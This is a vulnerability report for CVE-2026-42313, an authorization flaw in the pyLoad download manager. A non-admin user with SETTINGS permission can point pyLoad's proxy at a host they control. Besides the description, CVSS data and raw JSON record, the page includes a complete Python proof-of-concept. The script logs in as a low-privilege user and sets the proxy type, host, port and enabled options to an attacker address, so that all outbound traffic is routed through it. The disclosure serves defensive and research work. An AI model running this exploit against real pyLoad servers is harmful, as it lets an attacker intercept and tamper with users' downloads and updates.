Security Vulnerability Report
中文
CVE-2026-42313 CVSS 8.3 HIGH

CVE-2026-42313

Published: 2026-05-11 18:16:35
Last Modified: 2026-05-11 18:16:35

Description

pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, the set_config_value() API method (@permission(Perms.SETTINGS)) in src/pyload/core/api/__init__.py gates security-sensitive options behind a hand-maintained allowlist ADMIN_ONLY_CORE_OPTIONS. The allowlist contains ("proxy", "username") and ("proxy", "password") — which protect the proxy credentials — but it does not include ("proxy", "enabled"), ("proxy", "host"), ("proxy", "port"), or ("proxy", "type"). Any authenticated user with the non-admin SETTINGS permission can enable proxying and point pyload at any host they control. From that point, every outbound download, captcha fetch, update check, and plugin HTTP call is transparently routed through the attacker. This is a direct continuation of the fix family CVE-2026-33509 / CVE-2026-35463 / CVE-2026-35464 / CVE-2026-35586, each of which patched a different missed option in the same allowlist. This vulnerability is fixed in 0.5.0b3.dev100.

CVSS Details

CVSS Score
8.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L

Configurations (Affected Products)

No configuration data available.

pyLoad < 0.5.0b3.dev100

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration TARGET_URL = "http://<target-host>:8000" USERNAME = "low_priv_user" PASSWORD = "password" # Attacker controlled proxy settings ATTACKER_HOST = "192.168.1.100" ATTACKER_PORT = "8080" def exploit(): session = requests.Session() # Step 1: Authenticate as a user with 'SETTINGS' permission login_payload = {"username": USERNAME, "password": PASSWORD} login_resp = session.post(f"{TARGET_URL}/api/login", json=login_payload) if login_resp.status_code != 200: print("Login failed") return # Step 2: Exploit the incomplete whitelist to set proxy configuration # The API set_config_value takes category, option, and value. # The whitelist blocks ('proxy', 'username') but misses ('proxy', 'host'). proxy_settings = [ {"category": "proxy", "option": "type", "value": "http"}, {"category": "proxy", "option": "host", "value": ATTACKER_HOST}, {"category": "proxy", "option": "port", "value": ATTACKER_PORT}, {"category": "proxy", "option": "enabled", "value": "True"} ] for setting in proxy_settings: payload = { "category": setting["category"], "option": setting["option"], "value": setting["value"] } # Bypassing the intended access control resp = session.post(f"{TARGET_URL}/api/set_config_value", json=payload) if resp.status_code == 200: print(f"[+] Successfully set {setting['category']}.{setting['option']} to {setting['value']}") else: print(f"[-] Failed to set {setting['category']}.{setting['option']}") print("\n[!] Exploit complete. Outbound traffic is now routed through the attacker's proxy.") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42313", "sourceIdentifier": "[email protected]", "published": "2026-05-11T18:16:34.980", "lastModified": "2026-05-11T18:16:34.980", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, the set_config_value() API method (@permission(Perms.SETTINGS)) in src/pyload/core/api/__init__.py gates security-sensitive options behind a hand-maintained allowlist ADMIN_ONLY_CORE_OPTIONS. The allowlist contains (\"proxy\", \"username\") and (\"proxy\", \"password\") — which protect the proxy credentials — but it does not include (\"proxy\", \"enabled\"), (\"proxy\", \"host\"), (\"proxy\", \"port\"), or (\"proxy\", \"type\"). Any authenticated user with the non-admin SETTINGS permission can enable proxying and point pyload at any host they control. From that point, every outbound download, captcha fetch, update check, and plugin HTTP call is transparently routed through the attacker. This is a direct continuation of the fix family CVE-2026-33509 / CVE-2026-35463 / CVE-2026-35464 / CVE-2026-35586, each of which patched a different missed option in the same allowlist. This vulnerability is fixed in 0.5.0b3.dev100."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 5.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-441"}, {"lang": "en", "value": "CWE-863"}, {"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/pyload/pyload/security/advisories/GHSA-pg67-9wjv-mr85", "source": "[email protected]"}]}}